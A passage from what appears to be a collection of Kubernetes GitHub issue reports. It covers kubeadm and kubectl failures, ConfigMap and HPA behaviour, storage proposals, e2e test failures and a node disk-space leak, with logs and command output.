minion-1:   updating   : libgudev1-216-25.fc21.x86_64                                9/12 ==> minion-1:   ==> minion-1:   cleanup    : libgudev1-216-12.fc21.x86_64                               10/12 ==> minion-1:   ==> minion-1:   cleanup    : systemd-216-12.fc21.x86_64                                 11/12 ==> minion-1:   ==> minion-1:   cleanup    : systemd-libs-216-12.fc21.x86_64                            12/12 ==> minion-1:   ==> minion-1:   verifying  : systemd-libs-216-25.fc21.x86_64                             1/12 ==> minion-1:   ==> minion-1:   verifying  : libgudev1-216-25.fc21.x86_64                                2/12 ==> minion-1:   ==> minion-1:   verifying  : salt-2015.5.2-3.fc21.noarch                                 3/12 ==> minion-1:   ==> minion-1:   verifying  : pciutils-libs-3.3.0-1.fc21.x86_64                           4/12 ==> minion-1:   ==> minion-1:   verifying  : pciutils-3.3.0-1.fc21.x86_64                                5/12 ==> minion-1:   ==> minion-1:   verifying  : salt-minion-2015.5.2-3.fc21.noarch                          6/12 ==> minion-1:   ==> minion-1:   verifying  : systemd-python-216-25.fc21.x86_64                           7/12 ==> minion-1:   ==> minion-1:   verifying  : systemd-216-25.fc21.x86_64                                  8/12 ==> minion-1:   ==> minion-1:   verifying  : hwdata-0.279-1.fc21.noarch                                  9/12 ==> minion-1:   ==> minion-1:   verifying  : libgudev1-216-12.fc21.x86_64                               10/12 ==> minion-1:   ==> minion-1:   verifying  : systemd-libs-216-12.fc21.x86_64                            11/12 ==> minion-1:   ==> minion-1:   verifying  : systemd-216-12.fc21.x86_64                                 12/12 ==> minion-1:   ==> minion-1:  ==> minion-1: installed: ==> minion-1:   salt-minion.noarch 0:2015.5.2-3.fc21                                           ==> minion-1:  ==> minion-1: dependency installed: ==> minion-1:   hwdata.noarch 0:0.279-1.fc21              pciutils.x86_64 0:3.3.0-1.fc21       ==> minion-1:   pciutils-libs.x86_64 0:3.3.0-1.fc21       salt.noarch 0:2015.5.2-3.fc21        ==> minion-1:   systemd-python.x86_64 0:216-25.fc21       ==> minion-1:  ==> minion-1: dependency updated: ==> minion-1:   libgudev1.x86_64 0:216-25.fc21            systemd.x86_64 0:216-25.fc21         ==> minion-1:   systemd-libs.x86_64 0:216-25.fc21         ==> minion-1: complete! ==> minion-1:     info: running install_fedora_stable_post   ==> minion-1: disabled ==> minion-1: created symlink from /etc/systemd/system/multi-user.target.wants/salt-minion.service to /usr/lib/systemd/system/salt-minion.service. ==> minion-1:     info: running install_fedora_check_services   ==> minion-1:     info: running install_fedora_restart_daemons   ==> minion-1:     info: running daemons_running   ==> minion-1:     info: salt installed!           ➜  kubernetes  cluster/kubectl.sh get nodes error: couldn't read version from server: get http://localhost:8080/api: dial tcp 127.0.0.1:8080: connection refused      i was following http://kubernetes.io/v1.0/docs/getting-started-guides/vagrant.html, is there any step i am missing?

i assumed that when i change a configmap via  kubectl apply  modification-time of files in the configmap-volume would get updated too. but it seems not to be the case  at least on my cluster .  is this a bug or does it work like intended?  i run k8s@1.2.0 via systemd-kubelet and basically 1:1 the manifests from hyperkube-image  when i run this script: https://gist.github.com/guybrush/76b71bd261fcd411cd342618cb4ace1f  i get this output  note that the modification-time does not change :      $ ./test-configmap.sh  this script  1  creates a configmap: test-configmap-configmap 2  creates a pod: test-configmap-busybox which mounts the configmap as volume 3  checks the modification-time of the file inside the volume -> m1 4  changes the data of test-configmap-configmap and waits until the content    of the file changes 5  checks the modification-time of the file inside the volume -> m2  now m1 should be older then m2, but it is not  make sure test-resource configmap doesnt exist make sure test-resource busybox doesnt exist ========================================= 1 configmap \ test-configmap-configmap\  created ========================================= 2 pod \ test-configmap-busybox\  created ========================================= 3 version:1 total 4 drwxrwxrwt    3 root     root           100 apr 13 21:00 . drwxr-xr-x   20 root     root          4096 apr 13 21:00 .. drwx------    2 root     root            60 apr 13 21:00 ..4984_13_04_23_00_44.228447895 lrwxrwxrwx    1 root     root            31 apr 13 21:00 ..data -> ..4984_13_04_23_00_44.228447895 lrwxrwxrwx    1 root     root            20 apr 13 21:00 some-file.txt -> ..data/some-file.txt ========================================= 4 configmap \ test-configmap-configmap\  configured waiting for file content to change ..................................................50 seconds ========================================= 5 modtime 1: modify: 2016-04-13 21:00:44.000000000 modtime 2: modify: 2016-04-13 21:00:44.000000000 ========================================= now you will enter pod:test-configmap-busybox all resources will be cleaned up on exit /   exit pod \ test-configmap-busybox\  deleted configmap \ test-configmap-configmap\  deleted

since  31005 the flocker volume driver supports dynamic volume provisioning. it creates flocker datasets with a size matching that of the pvc. it currently ignores the storageclass annotation of the pvc. instead it should use the parameters of the storageclass to choose the flocker  dataset profile of the new flocker dataset. - api docs: https://docs.clusterhq.com/en/latest/reference/api.html create-new-dataset - flocker storage profiles: https://docs.clusterhq.com/en/latest/flocker-features/storage-profiles.html  the profile is specified by including the keyword \ clusterhq:flocker:profile\   - https://github.com/clusterhq/flocker/blob/master/flocker/node/agents/blockdevice.py l59  among the metadata supplied to the flocker create_dataset api. - https://github.com/clusterhq/flocker-go/blob/master/client.go l141  demonstrated here in the flocker docker plugin: - https://github.com/clusterhq/flocker/blob/master/flocker/dockerplugin/_api.py l272  see  29006 for an example of how storageclass parameters are used by the gce pd volume driver to select either gce ssd or spinning disks.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-kops-aws-updown/5969/  failed:  k8s.io  networking  k8s.io  granular checks: pods should function for node-pod communication: udp  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/networking.go:59 nov 15 18:56:36.990: failed to find expected endpoints: tries 0 command echo 'hostname' | timeout -t 2 nc -w 1 -u 100.96.4.4 8081 retrieved map   expected map netserver-1:{}   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:263       previous issues for this test:  35283

failed: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-soak-gke-test/145/  run so broken it didn't make junit output!

\r when i use kubeadm init  \r \r kubeadm init \r  kubeadm  warning: kubeadm is in alpha, please do not use it for production clusters.\r  preflight  running pre-flight checks\r  init  using kubernetes version: v1.5.4\r discovery: invalid value: null: exactly one discovery strategy can be provided\r \r if i use  --discovery  what  discovery method  i can use\r \r

overall: https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-release-1-7?\r \r one job: https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-release-1-7/54/build-log.txt\r \r failure might be caused by this line:\r    \r i0607 23:15:43.778  starting master and configuring firewalls\r w0607 23:15:44.410  error:  gcloud.compute.disks.create  could not fetch resource:\r w0607 23:15:44.410   - the resource 'projects/k8s-jkns-gce-1-3/zones/us-central1-f/disks/bootstrap-e2e-master-pd' already exists\r    \r \r @dchen1107 @kubernetes/kubernetes-release-managers\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r hpa scales to  1  if desiredreplicas is zero\r \r   what you expected to happen  :\r \r hpa scales to minreplicas if desiredreplicas is zero\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a hpa with minreplicas set. e.g.\r \r    \r apiversion: autoscaling/v1\r kind: horizontalpodautoscaler\r metadata:\r   name: api\r spec:\r   minreplicas: 15\r   maxreplicas: 60\r   scaletargetref:\r     apiversion: extensions/v1beta1\r     kind: deployment\r     name: api\r   targetcpuutilizationpercentage: 25\r    \r \r create an  api  deployment with zero cpu usage. the deployment will start endlessly scaling between 1 and 15. with the following events logged:\r \r    \r 2h        59s        22    horizontal-pod-autoscaler            normal        successfulrescale    new size: 1; reason: all metrics below target\r 2h        29s        22    horizontal-pod-autoscaler            normal        successfulrescale    new size: 15; reason: current number of replicas below spec.minreplicas\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t22:55:19z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r

the kube-scheduler configuration api and cli should be refactored according to the guidelines established in https://github.com/kubernetes/kubernetes/issues/32215 and as part of the broader goals outlined in https://github.com/kubernetes/features/issues/115.\r \r the scope of this issue is to deprecate all kube-scheduler flags except one new flag,  --config , which specifies the location of a serialized  kubeschedulerconfiguration . the  kubeschedulerconfiguration  object itself  both internal and versioned  and the component entrypoint/bootstrapping will also be refactored as necessary to bring the style in line with the proposals in https://github.com/kubernetes/kubernetes/issues/32215.\r \r @kubernetes/sig-cluster-lifecycle-feature-requests \r @kubernetes/sig-scheduling-feature-requests \r @kubernetes/sig-api-machinery-feature-requests \r \r /cc @ncdc @timothysc

from  document  https://kubernetes.io/docs/tasks/administer-cluster/configure-multiple-schedulers/  i know that a pod must be scheduled by one scheduler. such as scheduler  a  schedule pod  a  and scheduler  b  schedule pod  b .\r \r the question is that:  can  a  preempt  b  if  b  is already running? which scheduler will do this operation?\r \r and i found the preemption is  described  https://kubernetes.io/docs/concepts/configuration/pod-priority-preemption/  as  when a pod cannot be scheduled, the scheduler tries to preempt  evict  lower  to make scheduling of the pending pod possible . and then all the schedulers should follow the same  if a scheduler has its own priority, what will happen?\r \r 

 \r   what happened  :\r \ kubeadm init\  hangs for about 30 minutes or so then returns with failed message.  \r \r \r   what you expected to happen  :\r \ kubeadm init\  should complete within a couple of minutes with information on how to join the nodes. \r \r   how to reproduce it  as minimally and precisely as possible   :\r on a fresh centos 7 install preformed the following steps\r kubeadm init\r \r it ran as expected and i was able to run\r kubectl get pods\r \r i decided i wanted to use flannel and saw that i needed to use \ kubeadm init --pod-network-cidr=10.244.0.0/16\  instead. so i ran\r kubeadm reset\r then\r kubeadm init --pod-network-cidr=10.244.0.0/16\r it again ran successfully but then i could not use kubectl. every attempt returned\r kubectl get pods\r unable to connect to the server: x509: certificate signed by unknown authority  possibly because of \ crypto/rsa: verification error\  while trying to verify candidate authority certificate \ kubernetes\   \r \r i again tried\r kubeadm reset\r and\r kubeadm init --pod-network-cidr=10.244.0.0/16\r \r this time and every time after  kubeadm init just hangs.\r \r \r \r   anything else we need to know?  :\r i think kubeadm reset is not removing all that it needs to or that the ca authority has been corrupted. \r \r i see this in the api server container log\r i0207 14:00:55.924649       1 logs.go:41  http: tls handshake error from 10.1.4.141:32858: read tcp 10.1.4.141:6443->10.1.4.141:32858: read: connection reset by peer\r i0207 14:00:55.924723       1 logs.go:41  http: tls handshake error from 10.1.4.141:32860: eof\r poststarthook \ ca-registration\  failed: unable to initialize client ca configmap: timed out waiting for the condition\r \r systemctl status kubelet -l\r ● kubelet.service - kubelet: the kubernetes node agent\r    loaded: loaded  /etc/systemd/system/kubelet.service; enabled; vendor preset: disabled \r   drop-in: /etc/systemd/system/kubelet.service.d\r            └─10-kubeadm.conf\r    active: active  running  since wed 2018-02-07 06:43:52 mst; 6min ago\r      docs: http://kubernetes.io/docs/\r  main pid: 24035  kubelet \r    cgroup: /system.slice/kubelet.service\r            └─24035 /usr/bin/kubelet --bootstrap-kubeconfig=/etc/kubernetes/bootstrap-kubelet.conf --kubeconfig=/etc/kubernetes/kubelet.conf --pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true --network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin --cluster-dns=10.96.0.10 --cluster-domain=cluster.local --authorization-mode=webhook --client-ca-file=/etc/kubernetes/pki/ca.crt --cadvisor-port=0 --cgroup-driver=systemd --rotate-certificates=true --cert-dir=/var/lib/kubelet/pki\r \r feb 07 06:50:22 cre-kubmas-dev kubelet 24035 : e0207 06:50:22.031519   24035 pod_workers.go:186  error syncing pod f5b8388da096b6f06ca6302aa4668d84  \ kube-apiserver-cre-kubmas-dev_kube-system f5b8388da096b6f06ca6302aa4668d84 \  , skipping: failed to \ startcontainer\  for \ kube-apiserver\  with crashloopbackoff: \ back-off 1m20s restarting failed container=kube-apiserver pod=kube-apiserver-cre-kubmas-dev_kube-system f5b8388da096b6f06ca6302aa4668d84 \ \r feb 07 06:50:22 cre-kubmas-dev kubelet 24035 : e0207 06:50:22.335368   24035 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:474: failed to list  v1.node: get https://10.1.4.141:6443/api/v1/nodes?fieldselector=metadata.name%3dcre-kubmas-dev&limit=500&resourceversion=0: dial tcp 10.1.4.141:6443: getsockopt: connection refused\r feb 07 06:50:22 cre-kubmas-dev kubelet 24035 : e0207 06:50:22.336899   24035 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://10.1.4.141:6443/api/v1/pods?fieldselector=spec.nodename%3dcre-kubmas-dev&limit=500&resourceversion=0: dial tcp 10.1.4.141:6443: getsockopt: connection refused\r feb 07 06:50:22 cre-kubmas-dev kubelet 24035 : e0207 06:50:22.338004   24035 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:465: failed to list  v1.service: get https://10.1.4.141:6443/api/v1/services?limit=500&resourceversion=0: dial tcp 10.1.4.141:6443: getsockopt: connection refused\r feb 07 06:50:23 cre-kubmas-dev kubelet 24035 : i0207 06:50:23.318162   24035 kubelet_node_status.go:273  setting node annotation to enable volume controller attach/detach\r feb 07 06:50:23 cre-kubmas-dev kubelet 24035 : i0207 06:50:23.324431   24035 kubelet_node_status.go:82  attempting to register node cre-kubmas-dev\r feb 07 06:50:23 cre-kubmas-dev kubelet 24035 : e0207 06:50:23.324962   24035 kubelet_node_status.go:106  unable to register node \ cre-kubmas-dev\  with api server: post https://10.1.4.141:6443/api/v1/nodes: dial tcp 10.1.4.141:6443: getsockopt: connection refused\r feb 07 06:50:23 cre-kubmas-dev kubelet 24035 : e0207 06:50:23.336136   24035 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:474: failed to list  v1.node: get https://10.1.4.141:6443/api/v1/nodes?fieldselector=metadata.name%3dcre-kubmas-dev&limit=500&resourceversion=0: dial tcp 10.1.4.141:6443: getsockopt: connection refused\r feb 07 06:50:23 cre-kubmas-dev kubelet 24035 : e0207 06:50:23.337726   24035 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://10.1.4.141:6443/api/v1/pods?fieldselector=spec.nodename%3dcre-kubmas-dev&limit=500&resourceversion=0: dial tcp 10.1.4.141:6443: getsockopt: connection refused\r feb 07 06:50:23 cre-kubmas-dev kubelet 24035 : e0207 06:50:23.338684   24035 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:465: failed to list  v1.service: get https://10.1.4.141:6443/api/v1/services?limit=500&resourceversion=0: dial tcp 10.1.4.141:6443: getsockopt: connection refused\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t10:09:24z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: onprem vmware vsphere\r \r - os  e.g. from /etc/os-release : centos-release-7-4.1708.el7.centos.x86_64\r \r - kernel  e.g.  uname -a  :linux cre-kubmas-dev 3.10.0-693.17.1.el7.x86_64  1 smp thu jan 25 20:13:58 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools: kubeadm\r - others:\r

 \r \r   what happened  :\r imagepullbackoff\r   what you expected to happen  :\r runing\r   how to reproduce it  as minimally and precisely as possible   :\r just init k8s\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.10.2\r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r centos7\r

is there any plan to make cross-platform powershell module for kubernetes to replace kubectl? would be great to manage kubernetes resources as objects.\r  https://github.com/powershell/powershell  https://github.com/powershell/powershell

hi,\r \r i try to update my cluster to v1.13.3 and i face issue with   serviceaccount tokens  .\r \r   what happened  :\r the token is mounted as  rw- --- ---  \r \r   what you expected to happen  :\r it should be mounted as  rw-r-- r--  to allow other user than root to use the token  helm-tiller/ nginx-ingress..  \r \r i'm don't find any ressource that speak about this change or how to modify this configuration.\r \r all my internal components  tiller, nginx, dashboard...  crash now. \r \r thanks ! \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.13.3\r - cloud provider or hardware configuration: baremetal\r - os  e.g:  cat /etc/os-release  : debian 9\r - install tools: saltstack / managed with systemd\r

when a test expectation fails, we should dump as much contextual debug information as possible so we don't have to comb through logs to figure out the context.  it would be helpful to use tools such as  dumpallnamespaceinfo  https://github.com/kubernetes/kubernetes/blob/316103875e91511268bd0c2b4221a5a982275e5f/test/e2e/framework/util.go l2250  to display the test state.

as of today kubelet can consume storage via multiple devices & partitions.   this proposal  https://github.com/kubernetes/kubernetes/blob/master/docs/proposals/disk-accounting.md  on disk accounting lists some of the well understood storage configurations, 1. root partition 2. docker images partition - primarily meant for device mapper storage driver  however there are various other means by which kubelet can consume local storage.  1. volumes can exist in non-root partition  --root-dir  2. hostpath volumes can use any partition or device 3.  /var/log  could exist in non-root partition. 4.  /var/lib/docker   docker root dir  can exist in a different partition. there could be more options.  why does kubelet care about storage configuration? 1. kubelet provides storage accounting for volumes, pods and nodes. 2. kubelet attempts to ensure that local storage doesn't get full and evicts pods if necessary to free up storage. 3. kubelet in the future will support storage isolation and allow pods to express disk requests & limits.  to avoid complicating the kubelet, i have the following proposal.  restrict kubelet's non-volume storage usage to a single partition excepting image filesystem. kubelet on bootup will verify that the above mentioned storage modalities are all landing up on the same partition.  a typical use case for a user to customize storage is to provide additional storage for volumes or to work around a small root partition.  if a user does not intend to use the root filesystem, then they are expected to make  /var/lib/docker ,  /var/log  and  --root-dir  to point to the same storage partition.  images can continue to be optionally in a separate partition.   alternate approaches include kubelet tracking individual devices and supporting accounting, evictions and isolation on all of them. this is very tedious.  use cases of hostpath volumes include mapping in ssds and other hdds. volumes interface can be expanded to provide access to local storage. assuming that users will want to share storage devices, kubelet will have to track additional storage devices via volume plugin interface and let pods consume these additional storage devices via volumes.  given that hostpath volumes can be shared, kubelet does not account for them. by expanding scope of volumes interface to all local storage devices, it will allow for accounting and isolation and avoid usage of hostpath volumes except for read-only use cases. in the future, kubelet will have to expose these additional devices to the scheduler in-order to find the node that can fit a pod with  disk  requirements for containers and volumes.  there is still the problem of freeing up storage on additional storage devices / partitions exposed via volumes. one easy way to work around that would be to place all pods that do not have a disk limit on the primary partition that kubelet tracks. volumes with limits do not require disk reclamation by kubelet.  by forcing a single partition,  disk  resources expressed on a container or pod can be easily handled by kubelet.  disk  resource on a volume can be handled by the volume directly. k8s metrics api need not have to deal with storage configuration of individual nodes.   consider this proposal as a draft. the main purpose is to start a discussion & come up with some high level design conclusions.   cc @derekwaynecarr @thockin @smarterclayton @matchstick @saad-ali @pmorie

kubectl proxy  makes it simple and easy to access a web service hosted on a pod using the url to the pod.  we should should provide similar support for controllers and services by picking an arbitrary pod to connect to.

using k8s 1.3.5, and given the existence of a third party resource  foo , querying for all resources of type  foo  in a namespace  bar  produces the following output:      $ kubectl get foo --namespace=bar name             labels    data my-foo           <none>    {\ apiversion\ :\ foo.deis.io/v1\ ,\ description\ :\ ... your-foo         <none>    {\ apiversion\ :\ foo.deis.io/v1\ ,\ description\ :\ ... our-fu           <none>    {\ apiversion\ :\ foo.deis.io/v1\ ,\ description\ :\ ... kung-fu          <none>    {\ apiversion\ :\ foo.deis.io/v1\ ,\ description\ :\ ...      contrast this to the output received when querying for any built-in resource type--  pods , for instance:      $ kubectl get pods --namespace=kube-system name                            ready     status    restarts   age kube-addon-manager-minikubevm   1/1       running   0          15h kubernetes-dashboard-zud5i      1/1       running   0          15h      the latter case provides useful, contextually rich information about our pods, while the former case tells us nothing of value about our resources of type  foo .  given that a third party resource could represent anything and have any structure, there is obviously no one-size-fits all behavior that would represent any kind of improvement to this situation, however, what could work  unless this exists already and is not documented  is a mechanism whereby the definition of a third party resource could include a list of columns that should be returned with a  get .  hypothetically, that could look something like this:      apiversion: extensions/v1beta1 kind: thirdpartyresource metadata:   name: foo.deis.io   labels:     heritage: deis description: \ a foo is just a silly little  thing\  versions: - name: v1 display: - owner: spec.owner - status: status wide-display: - description: description      querying for all resources of type  foo  might then yield results like this:      $ kubectl get foo --namespace=bar name             owner               status my-foo           me                  ok your-foo         you                 ok our-fu           us                  error kung-fu          kwai chang caine    ok      or with  -o wide  specified:      $ kubectl get foo --namespace=bar name             owner               status       description my-foo           me                  ok           this is my foo your-foo         you                 ok           this is your foo our-fu           us                  error        this is our foo kung-fu          kwai chang caine    ok           this is kung fu

is this a bug report or feature request?    choose one :  bug report    kubernetes version    use  kubectl version  :      client version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.4\ , gitcommit:\ 3eed1e3be6848b877ff80a93da3785d9034d0a4f\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.4\ , gitcommit:\ 3eed1e3be6848b877ff80a93da3785d9034d0a4f\ , gittreestate:\ clean\ }        environment  : -   cloud provider or hardware configuration  : aws  kube-up.sh  -   os    e.g. from /etc/os-release : debian gnu/linux 8  jessie  -   kernel    e.g.  uname -a  : linux ip-172-20-0-9 3.16.0-4-amd64  1 smp debian 3.16.7-ckt25-2+deb8u3  2016-07-02  x86_64 gnu/linux  -   install tools  : kube-up.sh    what happened  :  a pod failed to start with the following log:  2016/09/12 23:21:42 error writing home/myapp-ui:git-af6ba600/push/slug.tgz to slug.tgz  write slug.tgz: no space left on device  .   kubectl describe nodes  shows that none of the nodes are running out of disk space:      name                                         status    age ip-172-20-0-130.us-west-1.compute.internal   ready     48d ip-172-20-0-131.us-west-1.compute.internal   ready     48d ip-172-20-0-147.us-west-1.compute.internal   ready     25d ip-172-20-0-63.us-west-1.compute.internal    ready     25d  ...  conditions:   type          status  lastheartbeattime                       lasttransitiontime                      reason                          message   ----          ------  -----------------                       ------------------                      ------                          -------   outofdisk     false   mon, 12 sep 2016 16:47:25 -0700         wed, 10 aug 2016 00:42:08 -0700         kubelethassufficientdisk        kubelet has sufficient disk space available   ready         true    mon, 12 sep 2016 16:47:25 -0700         wed, 10 aug 2016 00:42:08 -0700         kubeletready                    kubelet is posting ready status. warning: cpu hardcapping unsupported  ...  conditions:   type          status  lastheartbeattime                       lasttransitiontime                      reason                          message   ----          ------  -----------------                       ------------------                      ------                          -------   outofdisk     false   mon, 12 sep 2016 16:47:19 -0700         thu, 25 aug 2016 22:39:56 -0700         kubelethassufficientdisk        kubelet has sufficient disk space available   ready         true    mon, 12 sep 2016 16:47:19 -0700         wed, 07 sep 2016 03:11:05 -0700         kubeletready                    kubelet is posting ready status. warning: cpu hardcapping unsupported  ...  conditions:   type          status  lastheartbeattime                       lasttransitiontime                      reason                          message   ----          ------  -----------------                       ------------------                      ------                          -------   outofdisk     false   mon, 12 sep 2016 16:47:19 -0700         tue, 06 sep 2016 03:49:40 -0700         kubelethassufficientdisk        kubelet has sufficient disk space available   ready         true    mon, 12 sep 2016 16:47:19 -0700         tue, 06 sep 2016 03:50:25 -0700         kubeletready                    kubelet is posting ready status. warning: cpu hardcapping unsupported  ...  conditions:   type          status  lastheartbeattime                       lasttransitiontime                      reason                          message   ----          ------  -----------------                       ------------------                      ------                          -------   outofdisk     false   mon, 12 sep 2016 16:47:21 -0700         thu, 18 aug 2016 12:04:28 -0700         kubelethassufficientdisk        kubelet has sufficient disk space available   ready         true    mon, 12 sep 2016 16:47:21 -0700         mon, 05 sep 2016 07:10:26 -0700         kubeletready                    kubelet is posting ready status. warning: cpu hardcapping unsupported      i manually sshed into the minions and ran  df -h :      admin@ip-172-20-0-63:~$ df -h filesystem                           size  used avail use% mounted on /dev/xvda1                            99g  2.4g   92g   3% / udev                                  10m     0   10m   0% /dev tmpfs                                1.5g  151m  1.4g  11% /run tmpfs                                3.7g  3.7m  3.7g   1% /dev/shm tmpfs                                5.0m     0  5.0m   0% /run/lock tmpfs                                3.7g     0  3.7g   0% /sys/fs/cgroup /dev/mapper/vg--ephemeral-ephemeral   30g   16g   12g  58% /mnt/ephemeral  admin@ip-172-20-0-130:~$ df -h filesystem                           size  used avail use% mounted on /dev/xvda1                            99g  2.4g   92g   3% / udev                                  10m     0   10m   0% /dev tmpfs                                1.5g  148m  1.4g  10% /run tmpfs                                3.7g  1.5m  3.7g   1% /dev/shm tmpfs                                5.0m     0  5.0m   0% /run/lock tmpfs                                3.7g     0  3.7g   0% /sys/fs/cgroup /dev/mapper/vg--ephemeral-ephemeral   30g   29g     0 100% /mnt/ephemeral  admin@ip-172-20-0-147:~$ df -h filesystem                           size  used avail use% mounted on /dev/xvda1                            99g  2.6g   92g   3% / udev                                  10m     0   10m   0% /dev tmpfs                                1.5g  140m  1.4g  10% /run tmpfs                                3.7g  4.5m  3.7g   1% /dev/shm tmpfs                                5.0m     0  5.0m   0% /run/lock tmpfs                                3.7g     0  3.7g   0% /sys/fs/cgroup /dev/mapper/vg--ephemeral-ephemeral   30g   13g   16g  44% /mnt/ephemeral  admin@ip-172-20-0-131:~$ df -h filesystem                           size  used avail use% mounted on /dev/xvda1                            99g  2.5g   92g   3% / udev                                  10m     0   10m   0% /dev tmpfs                                1.5g  148m  1.4g  10% /run tmpfs                                3.7g  5.0m  3.7g   1% /dev/shm tmpfs                                5.0m     0  5.0m   0% /run/lock tmpfs                                3.7g     0  3.7g   0% /sys/fs/cgroup /dev/mapper/vg--ephemeral-ephemeral   30g   13g   16g  44% /mnt/ephemeral      minion  ip-172-20-0-130  is the only one with 100% usage of  100% /mnt/ephemeral . i confirmed that the failing pod was attempting to start on that node.  i sshed into that minion and ran the following:      root@ip-172-20-0-130:/mnt/ephemeral  du -sh docker 6.3g    docker root@ip-172-20-0-130:/mnt/ephemeral  du -sh kubernetes 23g     kubernetes root@ip-172-20-0-130:/mnt/ephemeral  exit exit admin@ip-172-20-0-130:/mnt/ephemeral$ df -h filesystem                           size  used avail use% mounted on /dev/xvda1                            99g  2.4g   92g   3% / udev                                  10m     0   10m   0% /dev tmpfs                                1.5g  148m  1.4g  10% /run tmpfs                                3.7g  1.5m  3.7g   1% /dev/shm tmpfs                                5.0m     0  5.0m   0% /run/lock tmpfs                                3.7g     0  3.7g   0% /sys/fs/cgroup /dev/mapper/vg--ephemeral-ephemeral   30g   29g     0 100% /mnt/ephemeral      so it seems something is leaking disk space in  /mnt/ephemeral/kubernetes .      admin@ip-172-20-0-130:/mnt/ephemeral/kubernetes$ sudo du | sort -n -r 23668832        . 23668828        ./kubelet 23668808        ./kubelet/pods 10261388        ./kubelet/pods/31cfee9c-52eb-11e6-a5e2-068755380eff 10261340        ./kubelet/pods/31cfee9c-52eb-11e6-a5e2-068755380eff/volumes 10261320        ./kubelet/pods/31cfee9c-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir 10261280        ./kubelet/pods/31cfee9c-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/influxdb-persistent-storage 10261100        ./kubelet/pods/31cfee9c-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/influxdb-persistent-storage/data 9585048 ./kubelet/pods/31cfee9c-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/influxdb-persistent-storage/data/k8s 9585044 ./kubelet/pods/31cfee9c-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/influxdb-persistent-storage/data/k8s/default 6553040 ./kubelet/pods/31cfe185-52eb-11e6-a5e2-068755380eff 6553000 ./kubelet/pods/31cfe185-52eb-11e6-a5e2-068755380eff/volumes 6552980 ./kubelet/pods/31cfe185-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir 6552976 ./kubelet/pods/31cfe185-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/es-persistent-storage 6552972 ./kubelet/pods/31cfe185-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/es-persistent-storage/kubernetes-logging 6552968 ./kubelet/pods/31cfe185-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/es-persistent-storage/kubernetes-logging/nodes 6552964 ./kubelet/pods/31cfe185-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/es-persistent-storage/kubernetes-logging/nodes/0 6552952 ./kubelet/pods/31cfe185-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/es-persistent-storage/kubernetes-logging/nodes/0/indices 6539536 ./kubelet/pods/31cfd30a-52eb-11e6-a5e2-068755380eff 6539496 ./kubelet/pods/31cfd30a-52eb-11e6-a5e2-068755380eff/volumes 6539476 ./kubelet/pods/31cfd30a-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir 6539472 ./kubelet/pods/31cfd30a-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/es-persistent-storage 6539468 ./kubelet/pods/31cfd30a-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/es-persistent-storage/kubernetes-logging 6539464 ./kubelet/pods/31cfd30a-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/es-persistent-storage/kubernetes-logging/nodes 6539460 